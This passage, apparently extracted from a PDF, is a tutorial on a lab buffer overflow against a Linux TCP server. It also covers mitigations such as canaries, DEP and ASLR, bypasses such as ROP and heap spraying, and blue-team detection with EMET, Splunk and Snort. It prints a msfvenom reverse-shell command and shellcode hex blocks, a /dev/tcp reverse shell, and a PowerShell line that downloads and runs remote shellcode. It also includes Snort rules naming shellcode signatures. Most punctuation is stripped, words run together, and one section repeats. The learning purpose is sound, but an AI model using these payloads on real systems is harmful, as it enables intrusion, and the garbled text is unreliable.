learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos

are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues

SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to

Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I

thoughtthroughthisIlumpedthedetectionintotwobuckets

1 DetectingFailedBufferOverflowAttempts

2 DetectingSuccessfullyBufferOverflowAttempts

DetectingFailedBufferOverAttemptsinWindows

If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events

are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the

oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog

For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as

the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases

whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked

EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their

sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a

similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM

Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a

collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via

GPOetc

ltQueryListgt

ltQueryId=0Path=Applicationgt

ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt

ltQuerygt

ltQueryListgt

To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and

configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service

to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on

somepredefinedSplunkpolicy

Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an

exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog

The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server

BasicallythispolicysayswhichlogscangetsentontotheSIEM

[WinEventLogForwardedEvents]

disabled=0

renderXml=1

evt_resolve_ad_obj=1

The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to

and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk

queries

SampleEMETEvent

EMETversion55587131892

EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE

EAF+checkfailed

ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE

UserNameDOMAINuser

SessionID1

PID0x1348(4936)

TID0xF90(3984)

ModuleSOMEDLLdll

ModBase0x11630000

ModAddress0x11642E99

MemAddress0x76F501A4

Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to

prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may

need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice

beachheadtomaintainafoothold

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf

httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server

DetectingSuccessfulBufferOverAttempts

The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker

has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed

which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two

approachespaintsasolidpicture

1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)

2) Hostbasedsignaturedetection

NetworkBasedDetection

Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the

clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication

1 EncodedHEXpayloadmalwarewithintheclientattack

2 Abunchofx90rsquoswithintheclientattack

3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal

If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have

SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from

bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit

generatedBSDshellcode

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)

content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416

classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment

Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at

2010_07_30updated_at2016_07_01)

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)

content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly

referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any

attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag

Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)

Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly

impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS

interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the

payloadsolargethattherulesareignoredduetoperformanceaswellSneaky

HostBasedDetection

In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and

made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer

OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean

Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas

netviewdomain

netuserdomain

netaccountsdomain

Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas

systeminfo

netlocalgroupldquoAdministratorsrdquo

uname-a

catprocissue

Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell

start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait

powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString

(http10022108081CodeExecutionInvoke-Shellcodeps1)

Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc

ENJOY

ReferencesandHonorableMentions

GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors

BadCharactersinCustomMalwareIfyouweretoattempttofindyourownbufferoverflowinapieceofsoftwareandwriteyourownremotecodeexecutionorremotecommandexecutionyouwouldfindthatsomecharactersarereservedforpromotinglanguageandassemblerForexamplex00isusedforNULLpointterminationinCwhichindicatesanendofanarrayorbufferandtellsaprogramtostopatthepointitseesx00OtherlanguagesmayhavesimilarreservedtypeofcharactersyouwanttocommitAsanoverlysimplifiedexamplehellip

x86encodedShellCodewBadCharacters(Fornextsection)

xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1

x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f

xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0

xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45

x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33

x21x0bx8fxc0xd9xbbxe0x09x7bx00x00x55x76xb6x29xf6x01

xd8x7dxf3xdcx9bx00x00

Nowletrsquosupdateourclientpycodetoreflectthesechangesandincludethereverseshellpayloadwejustmade

UpdatedclientpyCodewiththeldquoBadCharactercoderdquo

Wersquore getting close to the moment of truth The expected behavior is when turn on another netcat listener on port 4444 and run the

clientpy the clientpy script will attack the vulnerable tcp server and write our malicious code into the vulnerable serverrsquos buffer and

overwrite EIP with a memory pointer that will tell the CPU to ldquogo backrdquo to our malicious command which will ultimately create a

connection back to the ldquoattackerrdquo on the listening 4444 port However because we have ldquoBad Charactersrdquo we know the connection

willfail

Enablenetcatonport4444(nc-lvp4444)

TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB

Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)

WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444

We notice that the attack fails because the connection back to our attacking machine (farthest right) does not respond to our ID or

WHOIScommandsLetrsquosinvestigate

1 RightclickEIPinRegisterWindowsrarrFollowinDump

2 ScrollaroundandfindthemalwareinbetweentheNOPSLEDandNOPending

3 Lookforx00commandsandtrytonoticeanythingorstrange

WhattheTargetMachineSees

Whatwesentover

We go through each HEX character one by one and notice if any original character from the client payload are omittedgoofed up etc

etc This is a slow and tedious part of the process and arguably the best opportunity to learn We see a whole string of characters does

not ldquomatchrdquo So what happened The bad characters are reserved for various operations and memory locations If you send an OP

CODE for example then the machine will just process it ldquoas isrdquo not knowing that the characters you sent are part of a specific sequence

of characters to form a command In an environment where you are trying to encode BASH command or x86 x64 you will run into

various characters that your malware payloads canrsquot use If you donrsquot spend the time checking the memory dump for bad

charactersthenyouwillhavemanysadandlonelyhoursbehindthekeyboard

So we have to generate a payload that can omit bad characters Luckily we have a program to help us generate x86 shellcode and

omitcharacters

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

TestingforbadcharactersisthebestwayforyoutolearnthedebuggerassemblyandHEXYoucandoitatleasttwowaysthatIknow

ofhellip

1 UseagiantblobofallASCIcharactersinHEX

2 Generateacouplesimplepayloadsyouwanttoexecuteandwalkthroughthepayloadlinebyline

Howtotestforbadcharactersandotherassemblyandregisterissues

Terminal1Server1337

Terminal2edb(orGDBIwonrsquotjudge)

fromedbrarrattachrarrServer

fromedbrarrdebugrarrclickrunrarrclickrunagainrarrlookatbottompainandseeiftheprogramisrunning

Terminal3ExecutetheclientscriptwithyourmaliciouspayloadpadwithArsquosorNOPSsoyoucanldquoFindrdquoyourcodequicklyinmemory

Yoursquollbelookingforx41orx90rsquos

Option1-AlltheASCII

x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10

x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20

x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30

x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40

x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50

x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60

x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70

x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80

x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90

x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0

xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0

xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0

xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0

xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0

xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff

Option2-Testsomespecificcommands

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto

thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest

Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution

ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime

issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo

KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor

hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO

commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell

NewPayload

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

Enablenetcatonport4444(nc-lvp4444)

TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB

Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)

WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444

ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode

FinalResults

SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere

theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback

toourldquoattackingrdquoterminal(farthestright)

CommonBufferOverflowExampleandMitigations(inC)

WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare

morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated

stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline

orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()

andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe

assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe

registersofacompiledbinaryorreviewingtheoutputfromGHIDRA

gets

Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability

VulnerableCode(SOURCE)

printfexternallink(Inputsomethingnastyhere)

gets(something)

VulnerableCode(ASSEMBLY)

FixedCode

printfexternallink(Inputsomethingnastyhere)

fgets(usernameLENGTHstdin)

strcpy

Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone

contiguoustomemorywherethepayloadisstored

VulnerableCode

charstr1[10]

charstr2[]=badstuffhere

strcpy(str1str2)

FixedCode(SOURCE)

enumBUFFER_LIMIT=1024

intmain()

chardst[BUFFER_LIMIT]

charsrc[]=badstuffhere

intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)

if(buffer_lengthgt=BUFFER_LIMIT)

printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn

buffer_lengthBUFFER_LIMIT-1)

VulnerableCode(ASSEMBLY)

Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows

FixedCode(SOURCE)

enumBUFFER_BOUNDARY_SIZE=1024

charstr1[BUFFER_BOUNDARY_SIZE]

charstr2[]=badstuffhere

strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize

strcat

YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto

thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin

sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied

FixedCode(SOURCE)

defineBUFFER_BOUNDARY_SIZE1024

charbuff[BUFFER_BOUNDARY_SIZE]

Usesecurestrncpythenuse

strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)

buff[BUFFER_BOUNDARY_SIZE-1]=0

strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)

strcmp

ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach

otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot

validatethesizeoftheinputagainstthepredefinedbuffer

OtherMitigationstoBufferOverflows

During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable

ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the

following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits

need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my

own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the

newcomertodiptheirtoesintothesubjects

Canary

A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions

prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary

ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps

detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly

overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith

https0x00secorgtexploit-mitigation-techniques-stack-canaries5085

httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained

httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf

DEP-DataExecutionProtection

DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware

executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as

non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns

For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag

of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other

linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow

security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks

forroutineswithanytypeofbuffer

In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get

the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the

bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP

setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may

introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP

httpslwnnetArticles422487

httpslinuxdienetman8execstack

httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in

httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your

httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae

BypassingDEP

Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to

David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view

ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining

So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu

will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you

overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary

arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in

linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable

in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another

option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in

the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the

application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of

instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope

somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle

ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot

intendtohavethewordldquoheartrdquodidherdquo

Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your

payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP

gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET

instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps

An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute

ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script

which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1

But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it

difficulttocallexecve()orsystem()

Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove

found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create

a new executable space or change the flag for existing executable space However finding the memory addresses to these functions

andcallingthemappearstobeadifferentstory

httpsgithubcomJonathanSalwanROPgadget

httpswwwrapid7comresourcesrop-exploit-explained

httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf

httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf

httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi

ng-chains]pdf

ASLR(Addressspacelayoutrandomization)

Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation

BypassingASLR

Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and

windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible

chunksandhopefullythishelpsguidemyselfandotherfurtherstudies

NonASLRlinkedbinaries

It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with

some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something

that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR

enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the

memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program

with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass

ASLRandbeginaROPattack

httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf

httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf

PointerLeaksDanglingPointers

If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot

for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code

into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE

which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory

object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that

the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how

virtualfunctionsarereferencedviavirtualtables

httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf

httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf

httpswwwrapid7comresourceswhy-you-should-be-using-emet

HEAPSprayswithASLRdisabledVirtualAlloc()inWindows

If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create

write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can

either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by

VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this

seemslikejustplainluck

httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified

httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf

BlueteamEngineeringforpostBufferOverflow

For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just

learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos

are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues

SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to

Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I

thoughtthroughthisIlumpedthedetectionintotwobuckets

1 DetectingFailedBufferOverflowAttempts

2 DetectingSuccessfullyBufferOverflowAttempts

DetectingFailedBufferOverAttemptsinWindows

If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events

are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the

oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog

For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as

the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases

whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked

EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their

sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a

similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM

Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a

